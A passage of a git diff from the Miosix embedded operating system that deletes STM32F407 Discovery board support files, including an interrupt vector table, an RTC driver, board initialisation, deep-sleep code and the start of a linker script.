RTC_WKUP_IRQHandler = Default_Handler -#pragma weak FLASH_IRQHandler = Default_Handler -#pragma weak RCC_IRQHandler = Default_Handler -#pragma weak EXTI0_IRQHandler = Default_Handler -#pragma weak EXTI1_IRQHandler = Default_Handler -#pragma weak EXTI2_IRQHandler = Default_Handler -#pragma weak EXTI3_IRQHandler = Default_Handler -#pragma weak EXTI4_IRQHandler = Default_Handler -#pragma weak DMA1_Stream0_IRQHandler = Default_Handler -#pragma weak DMA1_Stream1_IRQHandler = Default_Handler -#pragma weak DMA1_Stream2_IRQHandler = Default_Handler -#pragma weak DMA1_Stream3_IRQHandler = Default_Handler -#pragma weak DMA1_Stream4_IRQHandler = Default_Handler -#pragma weak DMA1_Stream5_IRQHandler = Default_Handler -#pragma weak DMA1_Stream6_IRQHandler = Default_Handler -#pragma weak ADC_IRQHandler = Default_Handler -#pragma weak CAN1_TX_IRQHandler = Default_Handler -#pragma weak CAN1_RX0_IRQHandler = Default_Handler -#pragma weak CAN1_RX1_IRQHandler = Default_Handler -#pragma weak CAN1_SCE_IRQHandler = Default_Handler -#pragma weak EXTI9_5_IRQHandler = Default_Handler -#pragma weak TIM1_BRK_TIM9_IRQHandler = Default_Handler -#pragma weak TIM1_UP_TIM10_IRQHandler = Default_Handler -#pragma weak TIM1_TRG_COM_TIM11_IRQHandler = Default_Handler -#pragma weak TIM1_CC_IRQHandler = Default_Handler -#pragma weak TIM2_IRQHandler = Default_Handler -#pragma weak TIM3_IRQHandler = Default_Handler -#pragma weak TIM4_IRQHandler = Default_Handler -#pragma weak I2C1_EV_IRQHandler = Default_Handler -#pragma weak I2C1_ER_IRQHandler = Default_Handler -#pragma weak I2C2_EV_IRQHandler = Default_Handler -#pragma weak I2C2_ER_IRQHandler = Default_Handler -#pragma weak SPI1_IRQHandler = Default_Handler -#pragma weak SPI2_IRQHandler = Default_Handler -#pragma weak USART1_IRQHandler = Default_Handler -#pragma weak USART2_IRQHandler = Default_Handler -#pragma weak USART3_IRQHandler = Default_Handler -#pragma weak EXTI15_10_IRQHandler = Default_Handler -#pragma weak RTC_Alarm_IRQHandler = Default_Handler -#pragma weak OTG_FS_WKUP_IRQHandler = Default_Handler -#pragma weak TIM8_BRK_TIM12_IRQHandler = Default_Handler -#pragma weak TIM8_UP_TIM13_IRQHandler = Default_Handler -#pragma weak TIM8_TRG_COM_TIM14_IRQHandler = Default_Handler -#pragma weak TIM8_CC_IRQHandler = Default_Handler -#pragma weak DMA1_Stream7_IRQHandler = Default_Handler -#pragma weak FSMC_IRQHandler = Default_Handler -#pragma weak SDIO_IRQHandler = Default_Handler -#pragma weak TIM5_IRQHandler = Default_Handler -#pragma weak SPI3_IRQHandler = Default_Handler -#pragma weak UART4_IRQHandler = Default_Handler -#pragma weak UART5_IRQHandler = Default_Handler -#pragma weak TIM6_DAC_IRQHandler = Default_Handler -#pragma weak TIM7_IRQHandler = Default_Handler -#pragma weak DMA2_Stream0_IRQHandler = Default_Handler -#pragma weak DMA2_Stream1_IRQHandler = Default_Handler -#pragma weak DMA2_Stream2_IRQHandler = Default_Handler -#pragma weak DMA2_Stream3_IRQHandler = Default_Handler -#pragma weak DMA2_Stream4_IRQHandler = Default_Handler -#pragma weak ETH_IRQHandler = Default_Handler -#pragma weak ETH_WKUP_IRQHandler = Default_Handler -#pragma weak CAN2_TX_IRQHandler = Default_Handler -#pragma weak CAN2_RX0_IRQHandler = Default_Handler -#pragma weak CAN2_RX1_IRQHandler = Default_Handler -#pragma weak CAN2_SCE_IRQHandler = Default_Handler -#pragma weak OTG_FS_IRQHandler = Default_Handler -#pragma weak DMA2_Stream5_IRQHandler = Default_Handler -#pragma weak DMA2_Stream6_IRQHandler = Default_Handler -#pragma weak DMA2_Stream7_IRQHandler = Default_Handler -#pragma weak USART6_IRQHandler = Default_Handler -#pragma weak I2C3_EV_IRQHandler = Default_Handler -#pragma weak I2C3_ER_IRQHandler = Default_Handler -#pragma weak OTG_HS_EP1_OUT_IRQHandler = Default_Handler -#pragma weak OTG_HS_EP1_IN_IRQHandler = Default_Handler -#pragma weak OTG_HS_WKUP_IRQHandler = Default_Handler -#pragma weak OTG_HS_IRQHandler = Default_Handler -#pragma weak DCMI_IRQHandler = Default_Handler -#pragma weak CRYP_IRQHandler = Default_Handler -#pragma weak HASH_RNG_IRQHandler = Default_Handler -#pragma weak FPU_IRQHandler = Default_Handler -#pragma weak SysTick_Handler = Default_Handler \ No newline at end of file diff --git a/miosix/arch/cortexM4_stm32f4/stm32f407vg_stm32f4discovery/drivers/rtc.cpp b/miosix/arch/cortexM4_stm32f4/stm32f407vg_stm32f4discovery/drivers/rtc.cpp deleted file mode 100644 index bfc0bfebe..000000000 --- a/miosix/arch/cortexM4_stm32f4/stm32f407vg_stm32f4discovery/drivers/rtc.cpp +++ /dev/null @@ -1,221 +0,0 @@ -/*************************************************************************** - * Copyright (C) 2017 by Marsella Daniele * - * * - * This program is free software; you can redistribute it and/or modify * - * it under the terms of the GNU General Public License as published by * - * the Free Software Foundation; either version 2 of the License, or * - * (at your option) any later version. * - * * - * This program is distributed in the hope that it will be useful, * - * but WITHOUT ANY WARRANTY; without even the implied warranty of * - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * - * GNU General Public License for more details. * - * * - * As a special exception, if other files instantiate templates or use * - * macros or inline functions from this file, or you compile this file * - * and link it with other works to produce a work based on this file, * - * this file does not by itself cause the resulting work to be covered * - * by the GNU General Public License. However the source code for this * - * file must still be made available in accordance with the GNU General * - * Public License. This exception does not invalidate any other reasons * - * why a work based on this file might be covered by the GNU General * - * Public License. * - * * - * You should have received a copy of the GNU General Public License * - * along with this program; if not, see * - ***************************************************************************/ - -#include "rtc.h" -#include -#include -#include -#include -#include - -using namespace miosix; - - -namespace miosix { - -// -// class Rtc -// -void IRQrtcInit() { - Rtc::instance(); // create the singleton -} - -Rtc& Rtc::instance() -{ - static Rtc singleton; - return singleton; -} - -// unsigned short int Rtc::getSSR() -// { -// short int ss = 0; -// { -// FastInterruptDisableLock dlock; -// ss = IRQgetSSR(); -// } -// return ss; -// } - -// unsigned long long int Rtc::getTime() -// { -// long long int time = 0; -// { -// FastInterruptDisableLock dlock; -// time = IRQgetTime(); -// } -// return time; -// } - -// unsigned long long int Rtc::getDate() -// { -// long long int date = 0; -// { -// FastInterruptDisableLock dlock; -// date = IRQgetDate(); -// } -// return date; -// } - -// // Return the value of RTC_SSR register -// unsigned short int Rtc::IRQgetSSR() -// { -// while((RTC->ISR & RTC_ISR_RSF) == 0); -// unsigned short int ssr = RTC->SSR & RTC_SSR_SS; -// RTC->ISR &= ~(RTC_ISR_RSF); -// return ssr; -// } - -// // Return day time as microseconds -// unsigned long long int Rtc::IRQgetTime() -// { -// while(( RTC->ISR & RTC_ISR_RSF) == 0); -// unsigned short int hour_tens = 0x00000000 | (RTC->TSTR & RTC_TSTR_HT); -// unsigned short int hour_units = 0x00000000 | (RTC->TSTR & RTC_TSTR_HU); -// unsigned short int minute_tens = 0x00000000 | (RTC->TSTR & RTC_TSTR_MNT); -// unsigned short int minute_units = 0x00000000 | (RTC->TSTR & RTC_TSTR_MNU); -// unsigned short int second_tens = 0x00000000 | (RTC->TSTR & RTC_TSTR_ST); -// unsigned short int second_units = 0x00000000 | (RTC->TSTR & RTC_TSTR_SU); -// unsigned short int ss_value = 0x00000000 | (RTC->SSR & RTC_SSR_SS); -// unsigned long long int time_microsecs = ( hour_tens * 10 + hour_units) * 3600 * 1000000 -// + ( minute_tens * 10 + minute_units) * 60 * 1000000 -// + ( second_tens * 10 + second_units ) * 1000000 -// + ( prescaler_s - ss_value )/(prescaler_s + 1); -// RTC->ISR &= ~(RTC_ISR_RSF); -// if ( (RTC->TSTR & RTC_TSTR_PM) == 0 ) -// return time_microsecs; -// else -// return time_microsecs + 12 * 3600000000; -// } - -// // \todo -// unsigned long long int Rtc::IRQgetDate() -// { -// unsigned long long int date_secs = 0; -// while(( RTC->ISR & RTC_ISR_RSF) == 0); -// unsigned short int hour_tens = 0x00000000 | (RTC->TR & RTC_TR_HT); -// unsigned short int hour_units = 0x00000000 | (RTC->TR & RTC_TR_HU); -// unsigned short int minute_tens = 0x00000000 | (RTC->TR & RTC_TR_MNT); -// unsigned short int minute_units = 0x00000000 | (RTC->TR & RTC_TR_MNU); -// unsigned short int second_tens = 0x00000000 | (RTC->TR & RTC_TR_ST); -// unsigned short int second_units = 0x00000000 | (RTC->TR & RTC_TR_SU); -// unsigned short int subseconds = 0x00000000 | (RTC->SSR & RTC_SSR_SS); -// unsigned short int year_tens = 0x000000000 | (RTC->DR & RTC_DR_YT); -// unsigned short int year_units = 0x000000000 | (RTC->DR & RTC_DR_YU); -// unsigned short int month_tens = 0x000000000 | (RTC->DR & RTC_DR_MT); -// unsigned short int month_units = 0x000000000 | (RTC->DR & RTC_DR_MU); -// unsigned short int day_tens = 0x000000000 | (RTC->DR & RTC_DR_DT); -// unsigned short int day_units = 0x000000000 | (RTC->DR & RTC_DR_DU); -// // \todo -// RTC->ISR &= ~(RTC_ISR_RSF); -// return date_secs; -// } - -void Rtc::setWakeupInterrupt() -{ - EXTI->EMR &= ~(1<<11); - EXTI->RTSR &= ~(1<<11); - EXTI->EMR |= (1<<22); - EXTI->RTSR |= (1<<22); - EXTI->FTSR &= ~(1<<22); - RTC->CR |= RTC_CR_WUTIE; - wakeupOverheadNs = 100000; -} - -void Rtc::setWakeupTimer(unsigned short int wut_value) -{ - RTC->CR &= ~RTC_CR_WUTE; - while( (RTC->ISR & RTC_ISR_WUTWF ) == 0 ); - RTC->CR |= (RTC_CR_WUCKSEL_0 | RTC_CR_WUCKSEL_1); - RTC->CR &= ~(RTC_CR_WUCKSEL_2) ; //! select RTC/2 clock for wakeup - RTC->WUTR = wut_value & RTC_WUTR_WUT; -} - -void Rtc::startWakeupTimer() -{ - RTC->CR |= RTC_CR_WUTE; -} - -void Rtc::stopWakeupTimer() -{ - RTC->CR &= ~RTC_CR_WUTE; - RTC->ISR &= ~RTC_ISR_WUTF; -} - -long long Rtc::getWakeupOverhead() -{ - return wakeupOverheadNs; -} - -long long Rtc::getMinimumDeepSleepPeriod() -{ - return minimumDeepSleepPeriod; -} - -Rtc::Rtc() : - clock_freq(32768), - wkp_clock_period(1000000000 * 2 / clock_freq), - wkp_tc(clock_freq / 2) -{ - { - InterruptDisableLock dl; - RCC->APB1ENR |= RCC_APB1ENR_PWREN; - PWR->CR |= PWR_CR_DBP; - - // Without the next two lines the BDCR bit for LSEON - // is ignored and the next while loop never exits - RCC->BDCR = RCC_BDCR_BDRST; - RCC->BDCR = 0; - - RCC->BDCR |= RCC_BDCR_RTCEN //RTC enabled - | RCC_BDCR_LSEON //External 32KHz oscillator enabled - | RCC_BDCR_RTCSEL_0; //Select LSE as clock source for RTC - RCC->BDCR &= ~(RCC_BDCR_RTCSEL_1); - RCC->CFGR |= (0b1<<21); - } - ledOn(); - while((RCC->BDCR & RCC_BDCR_LSERDY)==0) ; //Wait for LSE to start - ledOff(); - // Enable write on RTC_ISR register - RTC->WPR = 0xCA; - RTC->WPR = 0x53; - - RTC->CR &= ~(RTC_CR_BYPSHAD); - RTC->PRER = (128 <<16) | ( 256<<0); // default prescaler - RTC->ISR |= RTC_ISR_INIT; - while((RTC->ISR & RTC_ISR_INITF)== 0) ; // wait clock and calendar initialization - RTC->TR = (RTC_TR_SU & 0x0) | (RTC_TR_ST & 0x0) | (RTC_TR_MNU & 0x0) - | (RTC_TR_MNT & 0x0) | (RTC_TR_HU & 0x0) | (RTC_TR_HT & 0x0); - RTC->DR = (1<<0) | (1<<8) | (1<<13) | (9<<16) | (1<<20); // initialized to 1/1/2019 - - RTC->CR &= ~(RTC_CR_FMT); // Use 24-hour format - RTC->ISR &= ~(RTC_ISR_INIT); - prescaler_s = 0x00000000 | (RTC->PRER & RTC_PRER_PREDIV_S); - // NVIC_SetPriority(RTC_WKUP_IRQn,10); - // NVIC_EnableIRQ(RTC_WKUP_IRQn); -} - -} //namespace miosix diff --git a/miosix/arch/cortexM4_stm32f4/stm32f407vg_stm32f4discovery/drivers/rtc.h b/miosix/arch/cortexM4_stm32f4/stm32f407vg_stm32f4discovery/drivers/rtc.h deleted file mode 100644 index bb18e7f8b..000000000 --- a/miosix/arch/cortexM4_stm32f4/stm32f407vg_stm32f4discovery/drivers/rtc.h +++ /dev/null @@ -1,134 +0,0 @@ -/*************************************************************************** - * Copyright (C) 2017 by Terraneo Federico * - * * - * This program is free software; you can redistribute it and/or modify * - * it under the terms of the GNU General Public License as published by * - * the Free Software Foundation; either version 2 of the License, or * - * (at your option) any later version. * - * * - * This program is distributed in the hope that it will be useful, * - * but WITHOUT ANY WARRANTY; without even the implied warranty of * - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * - * GNU General Public License for more details. * - * * - * As a special exception, if other files instantiate templates or use * - * macros or inline functions from this file, or you compile this file * - * and link it with other works to produce a work based on this file, * - * this file does not by itself cause the resulting work to be covered * - * by the GNU General Public License. However the source code for this * - * file must still be made available in accordance with the GNU General * - * Public License. This exception does not invalidate any other reasons * - * why a work based on this file might be covered by the GNU General * - * Public License. * - * * - * You should have received a copy of the GNU General Public License * - * along with this program; if not, see * - ***************************************************************************/ - -/*********************************************************************** - * rtc.h Part of the Miosix Embedded OS. - * Rtc support for the board that initialize correctly the RTC peripheral, - * and exposes its functionalities. - ************************************************************************/ - -#ifndef RTC_H -#define RTC_H - -#include -#include - -namespace miosix { - -void IRQrtcInit(); - -/** - * \brief Class implementing the functionalities - * of the RTC peripherla of the board - * - * All the wait and deepSleep functions cannot be called concurrently by - * multiple threads, so there is a single instance of the class that is share * among all the threads - */ -class Rtc -{ -public: - /** - * \brief Rtc class implements the singleton design pattern - * - * \return the only used instance of this class - */ - static Rtc& instance(); - - const unsigned int stopModeOffsetns = 504000; - - /** - * \brief Setup the wakeup timer for deep sleep interrupts. - * - * Function used to setup the wakeup interrupt for the - * RTC and the associated NVIC IRQ and EXTI lines. - * It also store the correct value for the clock used by RTC - * and the wakeup clock period - */ - void setWakeupInterrupt(); - - /** - * \brief Set wakeup timer for wakeup interrupt - * - * Set wakeup timer for wakeup interrupt according to the - * procedure described in the reference manual of the - * STM32F407VG. It doesn't make the timer start - */ - void setWakeupTimer(unsigned short int); - - /** - * \brief Starts the periodic wakeup timer of the RTC - */ - void startWakeupTimer(); - /** - * \brief Stop the periodic wakeup timer of the RTC - */ - void stopWakeupTimer(); - /** - * \brief Get the subseconds value of RTC - * \return the Sub second value of the Time register of the RTC - * as milliseconds. The value is converted according to - * the current clock used to synchronize the RTC. - */ - /* unsigned short int getSSR(); */ - /* unsigned long long int getDate(); */ - /* unsigned long long int getTime(); */ - - long long getWakeupOverhead(); - long long getMinimumDeepSleepPeriod(); - - Rtc (const Rtc&) = delete; - Rtc& operator=(const Rtc&) = delete; -private: - Rtc(); - unsigned int clock_freq; //! Hz set according to the selected clock - unsigned int wkp_clock_period; //! How many nanoseconds often the wut counter is decreased - unsigned short int prescaler_s; //! Needed to know the prescaler factor - long long wakeupOverheadNs; - - const long long minimumDeepSleepPeriod = 121000; //! the number of nanoseconds for the smallest deep sleep interval - TimeConversion wkp_tc; - - long int remaining_wakeups = 0; ///! keep track of remaining wakeups for very long deep sleep intervals - /** - * not preemptable function that read SSR value of the RTC Time register - */ - /* unsigned short int IRQgetSSR(); */ - /* /\** */ - /* * not preemptable function that compute the time of the RTC Time register */ - /* *\/ */ - /* unsigned long long int IRQgetTime(); */ - /* /\** */ - /* * not preemptable function that compute the date of the RTC calendar value */ - /* *\/ */ - /* unsigned long long int IRQgetDate(); */ - - friend bool IRQdeepSleep(long long); -}; - -} //namespace miosix - -#endif //RTC_H diff --git a/miosix/arch/cortexM4_stm32f4/stm32f407vg_stm32f4discovery/interfaces-impl/arch_registers_impl.h b/miosix/arch/cortexM4_stm32f4/stm32f407vg_stm32f4discovery/interfaces-impl/arch_registers_impl.h deleted file mode 100644 index b70c2277a..000000000 --- a/miosix/arch/cortexM4_stm32f4/stm32f407vg_stm32f4discovery/interfaces-impl/arch_registers_impl.h +++ /dev/null @@ -1,13 +0,0 @@ - -#ifndef ARCH_REGISTERS_IMPL_H -#define ARCH_REGISTERS_IMPL_H - -//Always include stm32f4xx.h before core_cm4.h, there's some nasty dependency -#define STM32F407xx -#include "CMSIS/Device/ST/STM32F4xx/Include/stm32f4xx.h" -#include "CMSIS/Include/core_cm4.h" -#include "CMSIS/Device/ST/STM32F4xx/Include/system_stm32f4xx.h" - -#define RCC_SYNC() //Workaround for a bug in stm32f42x - -#endif //ARCH_REGISTERS_IMPL_H diff --git a/miosix/arch/cortexM4_stm32f4/stm32f407vg_stm32f4discovery/interfaces-impl/bsp.cpp b/miosix/arch/cortexM4_stm32f4/stm32f407vg_stm32f4discovery/interfaces-impl/bsp.cpp deleted file mode 100644 index 06938eb4f..000000000 --- a/miosix/arch/cortexM4_stm32f4/stm32f407vg_stm32f4discovery/interfaces-impl/bsp.cpp +++ /dev/null @@ -1,152 +0,0 @@ -/*************************************************************************** - * Copyright (C) 2012, 2013, 2014 by Terraneo Federico * - * * - * This program is free software; you can redistribute it and/or modify * - * it under the terms of the GNU General Public License as published by * - * the Free Software Foundation; either version 2 of the License, or * - * (at your option) any later version. * - * * - * This program is distributed in the hope that it will be useful, * - * but WITHOUT ANY WARRANTY; without even the implied warranty of * - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * - * GNU General Public License for more details. * - * * - * As a special exception, if other files instantiate templates or use * - * macros or inline functions from this file, or you compile this file * - * and link it with other works to produce a work based on this file, * - * this file does not by itself cause the resulting work to be covered * - * by the GNU General Public License. However the source code for this * - * file must still be made available in accordance with the GNU General * - * Public License. This exception does not invalidate any other reasons * - * why a work based on this file might be covered by the GNU General * - * Public License. * - * * - * You should have received a copy of the GNU General Public License * - * along with this program; if not, see * - ***************************************************************************/ - -/*********************************************************************** -* bsp.cpp Part of the Miosix Embedded OS. -* Board support package, this file initializes hardware. -************************************************************************/ - -#include -#include -#include -#include "interfaces/bsp.h" -#include "kernel/kernel.h" -#include "kernel/sync.h" -#include "interfaces/delays.h" -#include "interfaces/portability.h" -#include "interfaces/arch_registers.h" -#include "config/miosix_settings.h" -#include "kernel/logging.h" -#include "filesystem/file_access.h" -#include "filesystem/console/console_device.h" -#include "drivers/serial.h" -#include "drivers/sd_stm32f2_f4_f7.h" -#include "board_settings.h" - -namespace miosix { - -typedef Gpio cs43l22reset; - -// -// Initialization -// - -void IRQbspInit() -{ - //Enable all gpios - RCC->AHB1ENR |= RCC_AHB1ENR_GPIOAEN | RCC_AHB1ENR_GPIOBEN | - RCC_AHB1ENR_GPIOCEN | RCC_AHB1ENR_GPIODEN | - RCC_AHB1ENR_GPIOEEN | RCC_AHB1ENR_GPIOHEN; - RCC_SYNC(); - GPIOA->OSPEEDR=0xaaaaaaaa; //Default to 50MHz speed for all GPIOS - GPIOB->OSPEEDR=0xaaaaaaaa; - GPIOC->OSPEEDR=0xaaaaaaaa; - GPIOD->OSPEEDR=0xaaaaaaaa; - GPIOE->OSPEEDR=0xaaaaaaaa; - GPIOH->OSPEEDR=0xaaaaaaaa; - _led::mode(Mode::OUTPUT); - ledOn(); - delayMs(100); - ledOff(); - // On stm32f4discovery some of the SDIO pins conflict with the - // audio output chip, so keep it permanently reset to avoid issues - cs43l22reset::mode(Mode::OUTPUT); - cs43l22reset::low(); - DefaultConsole::instance().IRQset(intrusive_ref_ptr( - new STM32Serial(defaultSerial,defaultSerialSpeed, - defaultSerialFlowctrl ? STM32Serial::RTSCTS : STM32Serial::NOFLOWCTRL))); -} - -void bspInit2() -{ - #ifdef WITH_FILESYSTEM - #ifdef AUX_SERIAL - intrusive_ref_ptr devFs=basicFilesystemSetup(SDIODriver::instance()); - devFs->addDevice(AUX_SERIAL, - intrusive_ref_ptr(new STM32Serial(2,auxSerialSpeed, - auxSerialFlowctrl ? STM32Serial::RTSCTS : STM32Serial::NOFLOWCTRL))); - #else //AUX_SERIAL - basicFilesystemSetup(SDIODriver::instance()); - #endif //AUX_SERIAL - #endif //WITH_FILESYSTEM -} - -// -// Shutdown and reboot -// - -/** -This function disables filesystem (if enabled), serial port (if enabled) and -puts the processor in deep sleep mode.
-Wakeup occurs when PA.0 goes high, but instead of sleep(), a new boot happens. -
This function does not return.
-WARNING: close all files before using this function, since it unmounts the -filesystem.
-When in shutdown mode, power consumption of the miosix board is reduced to ~ -5uA??, however, true power consumption depends on what is connected to the GPIO -pins. The user is responsible to put the devices connected to the GPIO pin in the -minimal power consumption mode before calling shutdown(). Please note that to -minimize power consumption all unused GPIO must not be left floating. -*/ -void shutdown() -{ - ioctl(STDOUT_FILENO,IOCTL_SYNC,0); - - #ifdef WITH_FILESYSTEM - FilesystemManager::instance().umountAll(); - #endif //WITH_FILESYSTEM - - disableInterrupts(); - - /* - Removed because low power mode causes issues with SWD programming - RCC->APB1ENR |= RCC_APB1ENR_PWREN; //Fuckin' clock gating... - RCC_SYNC(); - PWR->CR |= PWR_CR_PDDS; //Select standby mode - PWR->CR |= PWR_CR_CWUF; - PWR->CSR |= PWR_CSR_EWUP; //Enable PA.0 as wakeup source - - SCB->SCR |= SCB_SCR_SLEEPDEEP; - __WFE(); - NVIC_SystemReset(); - */ - for(;;) ; -} - -void reboot() -{ - ioctl(STDOUT_FILENO,IOCTL_SYNC,0); - - #ifdef WITH_FILESYSTEM - FilesystemManager::instance().umountAll(); - #endif //WITH_FILESYSTEM - - disableInterrupts(); - miosix_private::IRQsystemReboot(); -} - -} //namespace miosix diff --git a/miosix/arch/cortexM4_stm32f4/stm32f407vg_stm32f4discovery/interfaces-impl/bsp_impl.h b/miosix/arch/cortexM4_stm32f4/stm32f407vg_stm32f4discovery/interfaces-impl/bsp_impl.h deleted file mode 100644 index d8fe8dde4..000000000 --- a/miosix/arch/cortexM4_stm32f4/stm32f407vg_stm32f4discovery/interfaces-impl/bsp_impl.h +++ /dev/null @@ -1,89 +0,0 @@ -/*************************************************************************** - * Copyright (C) 2012 by Terraneo Federico * - * * - * This program is free software; you can redistribute it and/or modify * - * it under the terms of the GNU General Public License as published by * - * the Free Software Foundation; either version 2 of the License, or * - * (at your option) any later version. * - * * - * This program is distributed in the hope that it will be useful, * - * but WITHOUT ANY WARRANTY; without even the implied warranty of * - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * - * GNU General Public License for more details. * - * * - * As a special exception, if other files instantiate templates or use * - * macros or inline functions from this file, or you compile this file * - * and link it with other works to produce a work based on this file, * - * this file does not by itself cause the resulting work to be covered * - * by the GNU General Public License. However the source code for this * - * file must still be made available in accordance with the GNU General * - * Public License. This exception does not invalidate any other reasons * - * why a work based on this file might be covered by the GNU General * - * Public License. * - * * - * You should have received a copy of the GNU General Public License * - * along with this program; if not, see * - ***************************************************************************/ - -/*********************************************************************** -* bsp_impl.h Part of the Miosix Embedded OS. -* Board support package, this file initializes hardware. -************************************************************************/ - -#ifndef BSP_IMPL_H -#define BSP_IMPL_H - -#include "config/miosix_settings.h" -#include "interfaces/gpio.h" -#include "drivers/stm32_hardware_rng.h" - -namespace miosix { - -/** -\addtogroup Hardware -\{ -*/ - -/** - * \internal - * used by the ledOn() and ledOff() implementation - */ -typedef Gpio _led; - -inline void ledOn() -{ - _led::high(); -} - -inline void ledOff() -{ - _led::low(); -} - -/** - * Polls the SD card sense GPIO. - * - * This board has no SD card whatsoever, but a card can be connected to the - * following GPIOs: - * D0 : PC8 - * D1 : PC9 - * D2 : PC10 (conflicts with CS43L22 SCK) - * D3 : PC11 - * CLK : PC12 (conflicts with CS43L22 SDIN) - * CMD : PD2 - * - * The conflicts mean that it's not possible to use both the SD card and - * the audio playback feature on this board. - * - * \return true. As there's no SD card sense switch, let's pretend that - * the card is present. - */ -inline bool sdCardSense() { return true; } - -/** -\} -*/ - -} //namespace miosix - -#endif //BSP_IMPL_H diff --git a/miosix/arch/cortexM4_stm32f4/stm32f407vg_stm32f4discovery/interfaces-impl/deep_sleep.cpp b/miosix/arch/cortexM4_stm32f4/stm32f407vg_stm32f4discovery/interfaces-impl/deep_sleep.cpp deleted file mode 100644 index 4bb6d250c..000000000 --- a/miosix/arch/cortexM4_stm32f4/stm32f407vg_stm32f4discovery/interfaces-impl/deep_sleep.cpp +++ /dev/null @@ -1,150 +0,0 @@ -/*************************************************************************** - * Copyright (C) 2012, 2013, 2014 by Terraneo Federico and * - * Marsella Daniele * - * * - * This program is free software; you can redistribute it and/or modify * - * it under the terms of the GNU General Public License as published by * - * the Free Software Foundation; either version 2 of the License, or * - * (at your option) any later version. * - * * - * This program is distributed in the hope that it will be useful, * - * but WITHOUT ANY WARRANTY; without even the implied warranty of * - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * - * GNU General Public License for more details. * - * * - * As a special exception, if other files instantiate templates or use * - * macros or inline functions from this file, or you compile this file * - * and link it with other works to produce a work based on this file, * - * this file does not by itself cause the resulting work to be covered * - * by the GNU General Public License. However the source code for this * - * file must still be made available in accordance with the GNU General * - * Public License. This exception does not invalidate any other reasons * - * why a work based on this file might be covered by the GNU General * - * Public License. * - * * - * You should have received a copy of the GNU General Public License * - * along with this program; if not, see * - ***************************************************************************/ - -#include "interfaces/deep_sleep.h" -#include "interfaces/os_timer.h" -#include "interfaces/portability.h" -#include "interfaces/arch_registers.h" -#include "drivers/rtc.h" -#include "miosix.h" -#include - - -/// /def DEBUG_DEEP_SLEEP -/// This debug symbol makes the deep sleep routine to make -/// a led blink when the board enter the stop mode -/// #define DEBUG_DEEP_SLEEP - -using namespace std; - -namespace miosix { - -static Rtc* rtc = nullptr; - -static void IRQsetSystemClock() -{ - RCC->CR |= RCC_CR_HSEON | RCC_CR_HSION; - while((RCC->CR & RCC_CR_HSERDY)==0) ; - while((RCC->CR & RCC_CR_HSIRDY)==0) ; - - /* Select HSI */ - RCC->CFGR &= ~(RCC_CFGR_SW); - while((RCC->CFGR & RCC_CFGR_SWS ) != RCC_CFGR_SWS_HSI) ; - - //Configure PLL and turn it on - #ifdef SYSCLK_FREQ_168MHz - const int m=HSE_VALUE/1000000; - const int n=336; - const int p=2; - const int q=7; - #else - #error No PLL config for this clock frequency - #endif - RCC->PLLCFGR=m | (n<<6) | (((p/2)-1)<<16) | RCC_PLLCFGR_PLLSRC_HSE | (q<<24); - RCC->CR |= RCC_CR_PLLON; - while((RCC->CR & RCC_CR_PLLRDY)==0) ; - - RCC->CFGR &= ~(RCC_CFGR_HPRE | RCC_CFGR_PPRE1 | RCC_CFGR_PPRE2); - - RCC->CFGR |= RCC_CFGR_HPRE_DIV1; - RCC->CFGR |= RCC_CFGR_PPRE2_DIV2; - RCC->CFGR |= RCC_CFGR_PPRE1_DIV4; - - RCC->CFGR |= RCC_CFGR_SW_PLL; - - //NOTE: FLASH->ACR is preserved, no need to reconfigure wait states - while((RCC->CFGR & RCC_CFGR_SWS ) != RCC_CFGR_SWS_PLL) ; -} - -static void IRQenterStopMode() -{ - // Safe procedure to enter stopmode - RTC->CR &= ~(RTC_CR_WUTIE); - RTC->ISR &= ~(RTC_ISR_WUTF); - PWR->CSR &= ~(PWR_CSR_WUF); - EXTI->PR = 0xffff; // reset pending bits - RTC->CR |= RTC_CR_WUTIE; - rtc->startWakeupTimer(); - //Enter stop mode by issuing a WFE - PWR->CR |= PWR_CR_FPDS //Flash in power down while in stop - | PWR_CR_LPDS; //Regulator in low power mode while in stop - SCB->SCR |= SCB_SCR_SLEEPDEEP_Msk; //Select stop mode - __SEV(); - __WFE(); - __WFE(); // fast fix to a bug of STM32F4 - SCB->SCR &= ~SCB_SCR_SLEEPDEEP_Msk; //Unselect stop mode - IRQsetSystemClock(); - //Configure PLL and turn it on - rtc->stopWakeupTimer(); -} - -void IRQdeepSleepInit() -{ - rtc = &Rtc::instance(); - rtc->setWakeupInterrupt(); -} - -bool IRQdeepSleep(long long int abstime) -{ - long long reltime = abstime - IRQgetTime(); - reltime = max(reltime - rtc->stopModeOffsetns, 0LL); - if(reltime < rtc->getMinimumDeepSleepPeriod()) - { - // Too late for deep-sleep, use normal sleep - return false; - } else { -#ifdef DEBUG_DEEP_SLEEP - _led::high(); -#endif - - rtc->setWakeupInterrupt(); - long long wut_ticks = rtc->wkp_tc.ns2tick(reltime); - unsigned int remaining_wakeups = wut_ticks / 0xffff; - unsigned int last_wut = wut_ticks % 0xffff; - while(remaining_wakeups > 0) - { - rtc->setWakeupTimer(0xffff); - IRQenterStopMode(); - remaining_wakeups--; - } - rtc->setWakeupTimer(last_wut); - IRQenterStopMode(); -#ifdef DEBUG_DEEP_SLEEP - _led::low(); -#endif - internal::IRQosTimerSetTime(abstime); - } - return true; -} - -bool IRQdeepSleep() -{ - return IRQdeepSleep(3600000000000); //Just wait a long time, 3600s -} - -} //namespace miosix diff --git a/miosix/arch/cortexM4_stm32f4/stm32f407vg_stm32f4discovery/stm32_1m+192k_ram.ld b/miosix/arch/cortexM4_stm32f4/stm32f407vg_stm32f4discovery/stm32_1m+192k_ram.ld deleted file mode 100644 index 7ee6385a2..000000000 --- a/miosix/arch/cortexM4_stm32f4/stm32f407vg_stm32f4discovery/stm32_1m+192k_ram.ld +++ /dev/null @@ -1,156 +0,0 @@ -/* - * C++ enabled linker script for stm32 (1M FLASH, 192K RAM) - * Developed by TFT: Terraneo Federico Technologies - * Optimized for use with the Miosix kernel - */ - -/* - * This linker script puts: - * - all (code, .data, .bss, stacks, heap) in the internal ram. - * It is most useful for debugging, since powercycling the board will erase code - */ - -/* - * This chip has an unusual quirk that the RAM is divided in two block mapped - * at two non contiguous memory addresses. I don't know why they've done that, - * probably doing the obvious thing 